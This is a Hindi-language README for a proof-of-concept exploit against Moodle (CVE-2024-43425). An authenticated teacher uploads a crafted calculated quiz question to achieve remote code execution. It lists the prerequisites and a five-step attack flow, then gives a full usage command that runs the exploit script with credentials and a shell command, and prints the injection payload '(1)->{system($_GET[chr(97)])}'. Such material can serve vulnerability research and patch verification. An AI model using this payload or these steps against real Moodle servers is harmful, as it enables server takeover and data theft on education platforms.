CVE-2024-43425-Poc

CVE अवलोकन CVE ID: CVE-2024-43425

विवरण: Moodle एक प्रमाणित शिक्षक-स्तर के उपयोगकर्ता को क्विज़ संपादक इंटरफ़ेस के माध्यम से एक दुर्भावनापूर्ण calculated question अपलोड करने की अनुमति देता है। प्रभाव: रिमोट कोड निष्पादन (RCE) कारण: calculated questions के अंदर गणितीय payloads का अनुचित सैनिटाइज़ेशन, जो dataset wizard के माध्यम से command injection की ओर ले जाता है।

##आवश्यकताएँ:

मान्य लॉगिन क्रेडेंशियल क्विज़ संपादन इंटरफ़ेस तक पहुंच (सामान्यतः शिक्षक या व्यवस्थापक भूमिका) ज्ञात cmid (क्विज़ मॉड्यूल ID) और courseid

##यह स्क्रिप्ट 5-चरणीय हमला करती है:

चरण विवरण 1️ लॉगिन टोकन प्राप्त करें (logintoken) 2️ लॉगिन करें और एक मान्य MoodleSession स्थापित करें 3️ क्विज़ संपादन पृष्ठ से sesskey, ctxid और category निकालें 4️ RCE पेलोड के साथ एक विशेष रूप से तैयार calculated question अपलोड करें 5️ डेटासेट विज़ार्ड पृष्ठ के माध्यम से पेलोड ट्रिगर करें

##उपयोग निर्देश

आवश्यकताएँ: Python 3 Python लाइब्रेरी: requests, bs4 (BeautifulSoup)

pip3 install requests bs4

python3 exploit_cve_2024_43425.py \
  --url http://192.168.2.12/moodle \
  --username test \
  --password 'Test@123' \
  --courseid 1 \
  --cmid 1 \
  --cmd 'whoami'

##प्रयुक्त पेलोड:

answer[0] = "(1)->{system($_GET[chr(97)])}"